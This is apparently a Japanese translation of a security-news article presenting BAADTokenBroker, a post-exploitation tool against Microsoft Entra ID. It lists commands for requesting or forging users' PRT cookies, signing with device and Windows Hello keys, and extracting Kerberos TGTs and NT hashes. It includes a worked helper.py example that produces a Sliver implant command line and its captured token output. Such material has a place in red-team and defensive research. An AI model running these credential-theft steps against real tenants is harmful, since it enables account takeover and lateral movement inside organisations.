BAADTokenBroker
BAADTokenBrokerは、Microsoft Entra IDのデバイス連携キーと対話するために設計されたポスト悪用ツールです。
以下のことができます:
- ログインしているユーザーのPRTクッキーをリクエストする
- 提供された認証情報を使用してPRTクッキーを作成する
- Entra Kerberosメカニズムを悪用してTGTとNTハッシュを取得する
使用方法
BAADTokenBrokerは以下のコマンドを提供します:
info:Entra IDの情報を取得するget_token_blob:キャッシュされたトークンをダンプします(これは主に研究目的であり、実運用での使用は容易ではありません)sign_with_dkpriv:Entraデバイスキーを使用して提供されたデータに署名するsign_with_popkey:POPキーを使用して提供されたデータに署名するdecrypt_with_popkey:POPキーを使用して提供されたデータを復号化するsign_with_userkey:Windows Hello for Businessキーを使用して提供されたデータに署名するrequest_prt_cookie:PRTクッキーをリクエストするrequest_sso_tgs:Desktop SSO用のサービスチケットをリクエストします。SeamlessPassなどのお気に入りのツールで使用できます。
ただし、一般的なシナリオでコマンドを簡単に使用するために、helper.pyは実現したいことに基づいてBAADTokenBrokerのコマンドラインを生成します。
以下のオプションのいずれかでhelper.pyを実行します:
-
request_prt_cookie- ログインしているユーザーのPRTクッキーをリクエストするコマンドラインを生成します
-
create_prt_cookie- 提供された認証情報を使用してPRTクッキーを作成するコマンドラインを生成します
-
get_tgt- PRTクッキー経由で部分的なTGTとセッションキーをリクエストするコマンドラインを生成します
- 2026年4月4日頃にMicrosoftによってパッチが適用されました
- PRTクッキー経由で部分的なTGTとセッションキーをリクエストするコマンドラインを生成します
-
get_tgt_with_whfb- Windows Hello for Business経由で部分的なTGTとセッションキーをリクエストするコマンドラインを生成します
-
get_tgt_with_sso_tgs- Desktop SSO Kerberosチケット経由で部分的なTGTとセッションキーをリクエストするコマンドラインを生成します
ユーザーのPRTクッキーを取得する場合の例を示します。sliverのコマンドラインを生成する場合、-sオプションが必要です。
$ python3 helper.py -s request_prt_cookie
[*] BAADTokenBrokerを以下のように実行します:
BAADTokenBroker -- --command request_prt_cookie --arg1 AwABEgEAAAADAOz_BQD0_0V2b1N0c0FydGlmYWN0cwUAAAAAAKXQM761QXLG8dCrW3ByGQITDdFPqQ_iURV8oT0AS3tyjjioOmsPBmN25hbVJT1ikAxhhPVFOmQUyItDYvZh99YgAA
以下のようにコマンドラインを実行します
[localhost] sliver (_) > BAADTokenBroker -- --command request_prt_cookie --arg1 AwABEgEAAAADAOz_BQD0_0V2b1N0c0FydGlmYWN0cwUAAAAAAKXQM761QXLG8dCrW3ByGQITDdFPqQ_iURV8oT0AS3tyjjioOmsPBmN25hbVJT1ikAxhhPVFOmQUyItDYvZh99YgAA
-arg2:<空> (デフォルト)
-arg3:<空> (デフォルト)
-arg4:<空> (デフォルト)
[*] BAADTokenBrokerを正常に実行しました (coff-loader)
[*] 出力を取得しました:
[*] PRTクッキーをリクエスト中...
[+] request_prt_cookie成功!
eyJhbGciOiJIUzI1NiIsICJrZGZfd...(省略)
インストール
翻訳元: https://meterpreter.org/baadtokenbroker-entra-id-prt-cookie-kerberos-exploitation/
ソース: meterpreter.org